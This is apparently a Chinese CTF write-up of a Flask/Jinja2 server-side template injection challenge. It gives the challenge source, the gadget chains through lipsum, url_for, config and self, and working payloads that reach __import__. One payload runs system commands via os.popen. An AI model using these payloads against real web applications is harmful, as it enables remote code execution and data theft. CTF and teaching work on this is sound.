NewStar CTF 2025 Week3-who’ssti


提交你的代码,让后端看看你的厉害!

​ 提交一下:

尝试调用到这些函数!

fmean

get_close_matches

randint

findall

mean

image-20260325144558534


看到题目ssti也看到了注入点,但是尝试一些模板注入的payload发现没用?为什么呢?因为flag不能被直接调用————详见源码第12行

尝试读源码,看看这些函数是不是一定要调用才能完成这道题目

1.源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from flask import Flask, jsonify, request, render_template_string, render_template
import sys, random

func_List = ["get_close_matches", "dedent", "fmean",
"listdir", "search", "randint", "load", "sum",
"findall", "mean", "choice"]
need_List = random.sample(func_List, 5) //随机抽取五个函数名
need_List = dict.fromkeys(need_List, 0) //每个键值初始都为0
BoleanFlag = False
RealFlag = __import__("os").environ.get("ICQ_FLAG", "flag{test_flag}")
# 清除 ICQ_FLAG
__import__("os").environ["ICQ_FLAG"] = "" //flag内容被清空

def trace_calls(frame, event, arg):
if event == 'call':
func_name = frame.f_code.co_name
# print(func_name)
if func_name in need_List: //只有使用过的函数,它对应的键值才为1
need_List[func_name] = 1
if all(need_List.values()): //要满足所以函数名的键值都为1,我们才能使 BoleanFlag = True
global BoleanFlag
BoleanFlag = True
return trace_calls


app = Flask(__name__)
@app.route('/', methods=["GET", "POST"])
def index():
submit = request.form.get('submit')
if submit:
sys.settrace(trace_calls)
print(render_template_string(submit))
sys.settrace(None)
if BoleanFlag:
return jsonify({"flag": RealFlag}) //这是我们的目标,为达到目标要满足BoleanFlag为true
return jsonify({"status": "OK"})
return render_template_string('''<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="UTF-8">
<title>首页</title>
</head>
<body>
<h1>提交你的代码,让后端看看你的厉害!</h1>
<form action="/" method="post">
<label for="submit">提交一下:</label>
<input type="text" id="submit" name="submit" required>
<button type="submit">提交</button>
</form>
<div style="margin-top: 20px;">
<p> 尝试调用到这些函数! </p>
{% raw %}{% for func in funcList %}{% endraw %}
<p>{% raw %}{{ func }}{% endraw %}</p>
{% raw %}{% endfor %}{% endraw %}
<div style="margin-top: 20px; color: red;">
<p> 你目前已经调用了 {% raw %}{{ called_funcs|length }}{% endraw %} 个函数:</p>
<ul>
{% raw %}{% for func in called_funcs %}{% endraw %}
<li>{% raw %}{{ func }}{% endraw %}</li>
{% raw %}{% endfor %}{% endraw %}
</ul>
</div>
</body>
<script>

</script>
</html>

'''
,
funcList = need_List, called_funcs = [func for func, called in need_List.items() if called])

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)

2.思路:一直注入点,按照逻辑做就行,即满足调用完提示中的五个函数,一个一个来

那么我们就先需要了解这几个函数

函数名 所属模块 作用 SSTI 调用示例 (部分)
sum __builtins__ 数值求和 sum([1,2])
search re 正则搜索(找第一个) re.search('a','abc')
findall re 正则匹配(找所有) re.findall('\d','1a2')
randint random 产生随机整数 random.randint(1,10)
choice random 列表随机选一 random.choice([1,2])
fmean statistics 快速浮点平均数 statistics.fmean([1,2])
mean statistics 算术平均数 statistics.mean([1,2])
get_close_matches difflib 文本模糊匹配 difflib.get_close_matches('a',['a'])
dedent textwrap 移除文本缩进 textwrap.dedent(' a')
listdir os 列出目录下的文件 os.listdir('.')
load json 将 JSON 流转为对象 json.load(fp) (注意需文件流)

已知函数名和模块,那我们就可以一步步构造payload了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
一般ssti payload构造步骤:(想要类,找基类->想要基类,找对象)

第一步:找到一个在模板里默认就能访问到的对象。
常见包括:
lipsum(生成乱数假文的函数)
config(Flask 的配置对象)
self(当前模板环境)
url_for(生成 URL 的函数)

第二步:通过对象找到基类 或 全局函数
通过 .__class__ 找到 拿到的对象 的类,
再通过 .__mro__ 看到它的继承链,最终摸到 object 基类。

第三步:通过基类利用类 或者通全局变量利用变量
一旦有了基类或全局函数,就可以:
通过 __subclasses__() 查看内存里加载的所有类(比如 os._wrap_close)。
通过 __globals__ 查看该函数所在的模块里所有的变量。

3.exp:

以此题为例:

1. 对象:用 lipsum。

2. 找全局变量:lipsum.__globals__。
这会返回一个字典,里面包含了 lipsum 函数能看到的全部家当。

3. 找内置函数:在 __globals__ 里,一定有一个键叫 __builtins__。这是 Python 的心脏,存放着所有内置函数(sum, eval, __import__ 等)。

4. 加上函数 :lipsum.__globals__['__builtins__']['sum']。
最终: __RAW_BLOCK_16__{{__RAW_BLOCK_17__ lipsum.__globals__['__builtins__']['sum']([1,2]) __RAW_BLOCK_18__}}__RAW_BLOCK_19__

payload:

1
2
3
4
5
__RAW_BLOCK_20__{% raw %}{{__RAW_BLOCK_21__ lipsum.__globals__['__builtins__']['__import__']('statistics').fmean([1.0, 2.0]) __RAW_BLOCK_22__}}{% endraw %}__RAW_BLOCK_23__
__RAW_BLOCK_24__{% raw %}{{__RAW_BLOCK_25__ lipsum.__globals__['__builtins__']['__import__']('difflib').get_close_matches('a',['a']) __RAW_BLOCK_26__}}{% endraw %}__RAW_BLOCK_27__
__RAW_BLOCK_28__{% raw %}{{__RAW_BLOCK_29__ lipsum.__globals__['__builtins__']['__import__']('re').findall('a', 'aaa') __RAW_BLOCK_30__}}{% endraw %}__RAW_BLOCK_31__
__RAW_BLOCK_32__{% raw %}{{__RAW_BLOCK_33__ lipsum.__globals__['__builtins__']['__import__']('random').randint(1, 10) __RAW_BLOCK_34__}}{% endraw %}__RAW_BLOCK_35__
__RAW_BLOCK_36__{% raw %}{{__RAW_BLOCK_37__ lipsum.__globals__['__builtins__']['__import__']('statistics').mean([1, 2]) __RAW_BLOCK_38__}}{% endraw %}__RAW_BLOCK_39__

其他三种方法:

1. 使用 url_for 构造

url_for 的全局命名空间里包含了很多有用的引用

构造: url_for → __globals__(全局变量) → __builtins__(内置函数)

1
2
3
4
__RAW_BLOCK_40__{% raw %}{{__RAW_BLOCK_41__ url_for.__globals__['__builtins__']['__import__']('random').randint(1, 10) __RAW_BLOCK_42__}}{% endraw %}__RAW_BLOCK_43__

# 如果要执行系统命令 (RCE)
__RAW_BLOCK_44__{% raw %}{{__RAW_BLOCK_45__ url_for.__globals__['os'].popen('ls').read() __RAW_BLOCK_46__}}{% endraw %}__RAW_BLOCK_47__

注:url_for 的全局变量里通常直接就有 os,甚至不需要再去 __import__。

2. 使用 config 构造

config 是 Flask 的配置对象,是一个类实例。可以通过它的 __class__ 回溯到基类,再通过 __init__ 函数进入全局命名空间。

构造: config → __class__ → __init__ → __globals__

1
2

__RAW_BLOCK_48__{% raw %}{{__RAW_BLOCK_49__ config.__class__.__init__.__globals__['__builtins__']['__import__']('re').findall('a', 'aaa') __RAW_BLOCK_50__}}{% endraw %}__RAW_BLOCK_51__
3. 使用 self 构造

self 指向当前的 TemplateReference。

在 Jinja2 中,它有一个属性 __dict__ 存放了模板上下文,可以通过 _TemplateReference__context 找到一些底层函数(如 cycler 或 joiner),再通过它们跳到全局环境。

构造: self → _TemplateReference__context → cycler → __init__ → __globals__

1
__RAW_BLOCK_52__{% raw %}{{__RAW_BLOCK_53__ self._TemplateReference__context.cycler.__init__.__globals__['__builtins__']['__import__']('statistics').mean([1, 2]) __RAW_BLOCK_54__}}{% endraw %}__RAW_BLOCK_55__

知识点:

1.flask

image-20260325141818707


2.lipsum(生成乱数假文的函数)

image-20260325141636271


3.os:(Operating System 模块)

是 Python 用来 与操作系统交互 的标准库,一旦在 Python 环境中成功加载了 os 模块,就拥有了执行系统指令的能力
  • os.listdir('.'):查看当前目录下有哪些文件(找 Flag 常用)。
  • os.remove('file'):删除文件。
  • 常见使用 os.popen() 或 os.system():执行任意系统命令(比如 ls, cat /etc/passwd, whoami)。

4.builtins(内置模块)

是 Python 的一组核心功能。
  • 不需要 import 任何东西,就可以直接使用的函数(如 print(), int(), len(), list())

  • 因为 builtins 包含了一个威力巨大的函数:__import__。

    在沙箱环境或模板引擎中,开发者通常会禁用直接的 import 语句。但如果你能访问到 builtins 对象,你就可以利用 __import__('os')


5.关于格式

. (点号):通常用来访问对象的属性(如 .class)。

[] (中括号):从字典里按名字取值,或者从列表里按序号取值。

() (小括号):在执行/调用函数时使用。